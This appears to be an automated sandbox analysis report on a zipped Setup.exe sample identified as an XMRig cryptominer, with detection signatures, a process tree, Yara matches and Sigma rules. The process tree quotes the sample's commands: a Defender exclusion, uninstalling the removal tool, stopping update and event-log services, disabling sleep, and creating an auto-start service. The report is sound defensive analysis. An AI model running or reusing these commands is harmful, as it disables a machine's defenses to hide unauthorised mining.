Edit tour

Windows Analysis Report
MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip

Overview

General Information

Sample name:	MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip
Analysis ID:	1408951
MD5:	3384ccc27194a142f68c7ea1f157e2af
SHA1:	32644f4bf6678db76c9968fb048c8b3f78bb30ae
SHA256:	b892d9e7e59c6e61d99f8aeb1521b57567b821e10036d825648aebb66e754763
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Sigma detected: Disable power options

Sigma detected: Stop EventLog

Snort IDS alert for network traffic

Yara detected Xmrig cryptocurrency miner

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Changes security center settings (notifications, updates, antivirus, firewall)

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Detected Stratum mining protocol

Found strings related to Crypto-Mining

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Protects its processes via BreakOnTermination flag

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious powershell command line found

Uses powercfg.exe to modify the power settings

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Powershell Defender Exclusion

Sigma detected: Uncommon Svchost Parent Process

Tries to load missing DLLs

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64_ra

rundll32.exe (PID: 4508 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)

svchost.exe (PID: 72 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

Setup.exe (PID: 1036 cmdline: "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe" MD5: DF65134B0B2B2CC03F07647794B274E5)

powershell.exe (PID: 1836 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe" -Verb runAs MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Setup.exe (PID: 6476 cmdline: "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe" MD5: DF65134B0B2B2CC03F07647794B274E5)

powershell.exe (PID: 6520 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6708 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 6796 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 6724 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6836 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6888 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6940 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6992 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7044 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7052 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7068 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7100 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 3904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 7144 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

winlogon.exe (PID: 584 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

lsass.exe (PID: 664 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

svchost.exe (PID: 972 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 380 cmdline: dwm.exe MD5: 5C27608411832C5B39BA04E33D53536C)

sc.exe (PID: 4868 cmdline: C:\Windows\system32\sc.exe delete "SXJAJUSN" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 2652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5388 cmdline: C:\Windows\system32\sc.exe create "SXJAJUSN" binpath= "C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1552 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 1836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1844 cmdline: C:\Windows\system32\sc.exe start "SXJAJUSN" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 1596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 1728 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

SgrmBroker.exe (PID: 3992 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: 3BA1A18A0DC30A0545E7765CB97D8E63)

svchost.exe (PID: 3964 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 5152 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1448 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1444 cmdline: C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 6296 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

MpCmdRun.exe (PID: 6424 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: B3676839B2EE96983F9ED735CD044159)

conhost.exe (PID: 3508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

jnxsifnrdetl.exe (PID: 4248 cmdline: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe MD5: DF65134B0B2B2CC03F07647794B274E5)

powershell.exe (PID: 6536 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6560 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 6756 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 6528 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6852 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6880 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6936 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6952 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6980 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6948 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7004 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 1768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7028 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 3976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 7112 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

svchost.exe (PID: 728 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 460 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1068 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1076 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1136 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1204 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1260 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1352 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1452 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s nsi MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1512 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1520 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1528 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1676 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1756 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1780 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1800 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1808 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1964 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2004 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1384 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1300 cmdline: C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1368 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2112 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2168 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

spoolsv.exe (PID: 2284 cmdline: C:\Windows\System32\spoolsv.exe MD5: 0D4B1E3E4488E9BDC035F23E1F4FE22F)

svchost.exe (PID: 2316 cmdline: C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2440 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2508 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2516 cmdline: C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2632 cmdline: C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2640 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2680 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2688 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s SstpSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2700 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

OfficeClickToRun.exe (PID: 2764 cmdline: "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service MD5: 75F42872C0302D36A1E3BB5C7928FC02)

svchost.exe (PID: 2892 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2944 cmdline: C:\Windows\System32\svchost.exe -k NetSvcs -p -s iphlpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 3000 cmdline: C:\Windows\System32\svchost.exe -k netsvcs MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 3416 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 3672 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s NcdAutoSetup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

sihost.exe (PID: 3800 cmdline: sihost.exe MD5: A21E7719D73D0322E2E7D61802CB8F80)

svchost.exe (PID: 3832 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 3884 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s WpnUserService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 4068 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 344 cmdline: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2372 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TabletInputService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

ctfmon.exe (PID: 4144 cmdline: ctfmon.exe MD5: B625C18E177D5BEB5A6F6432CCF46FB3)

dasHost.exe (PID: 4160 cmdline: dashost.exe {56d287c9-3fb8-41cd-a9e100d94de470c6} MD5: 2857A196985FC58A74C337B5E95B2174)

svchost.exe (PID: 4236 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 4292 cmdline: C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

explorer.exe (PID: 4380 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

svchost.exe (PID: 4520 cmdline: C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

RuntimeBroker.exe (PID: 3372 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

RuntimeBroker.exe (PID: 5212 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

RuntimeBroker.exe (PID: 5620 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

dllhost.exe (PID: 6076 cmdline: C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

dialer.exe (PID: 7120 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

dialer.exe (PID: 6444 cmdline: dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000051.00000002.2453295770.0000000140001000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000051.00000002.2453295770.0000000140001000.00000040.00000001.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37eb98:$a1: mining.set_target 0x370e20:$a2: XMRIG_HOSTNAME 0x373748:$a3: Usage: xmrig [OPTIONS] 0x370df8:$a4: XMRIG_VERSION
Process Memory Space: dialer.exe PID: 6444	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: dialer.exe PID: 6444	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x13574:$a1: mining.set_target 0xfd1d:$a2: XMRIG_HOSTNAME 0x10a95:$a3: Usage: xmrig [OPTIONS] 0xfcfe:$a4: XMRIG_VERSION

Unpacked PEs

Source	Rule	Description	Author	Strings
81.2.dialer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
81.2.dialer.exe.140000000.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37ef98:$a1: mining.set_target 0x371220:$a2: XMRIG_HOSTNAME 0x373b48:$a3: Usage: xmrig [OPTIONS] 0x3711f8:$a4: XMRIG_VERSION
81.2.dialer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x3c8ee1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
81.2.dialer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x3c9748:$s1: %s/%s (Windows NT %lu.%lu 0x3cd180:$s3: \\.\WinRing0_ 0x376148:$s4: pool_wallet 0x3705f0:$s5: cryptonight 0x370600:$s5: cryptonight 0x370610:$s5: cryptonight 0x370620:$s5: cryptonight 0x370638:$s5: cryptonight 0x370648:$s5: cryptonight 0x370658:$s5: cryptonight 0x370670:$s5: cryptonight 0x370680:$s5: cryptonight 0x370698:$s5: cryptonight 0x3706b0:$s5: cryptonight 0x3706c0:$s5: cryptonight 0x3706d0:$s5: cryptonight 0x3706e0:$s5: cryptonight 0x3706f8:$s5: cryptonight 0x370710:$s5: cryptonight 0x370720:$s5: cryptonight 0x370730:$s5: cryptonight

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe, ParentProcessId: 6476, ParentProcessName: Setup.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 7044, ProcessName: powercfg.exe

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

